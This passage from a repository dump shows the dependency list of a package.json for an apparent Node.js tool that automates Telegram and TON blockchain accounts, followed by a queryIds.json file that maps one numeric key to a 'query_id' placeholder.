12 | "dependencies": { 13 | "@inquirer/prompts": "^5.3.2", 14 | "axios": ">=1.7.4", 15 | "commander": "^12.1.0", 16 | "dotenv": "^16.4.5", 17 | "fdy-tmp": "^1.0.4", 18 | "https-proxy-agent": "^7.0.5", 19 | "lodash": "^4.17.21", 20 | "moment": "^2.30.1", 21 | "p-limit": "^6.1.0", 22 | "qrcode-terminal": "^0.12.0", 23 | "strip-ansi": "^7.1.0", 24 | "telegram": "^2.22.2", 25 | "@ton/core": "^0.59.0", 26 | "@ton/crypto": "^3.3.0", 27 | "@ton/ton": "^15.1.0", 28 | "buffer": "^6.0.3" 29 | }, 30 | "devDependencies": { 31 | "@types/lodash": "^4.17.7" 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /queryIds.json: -------------------------------------------------------------------------------- 1 | { 2 | "254700503299": "query_id" 3 | } 4 | --------------------------------------------------------------------------------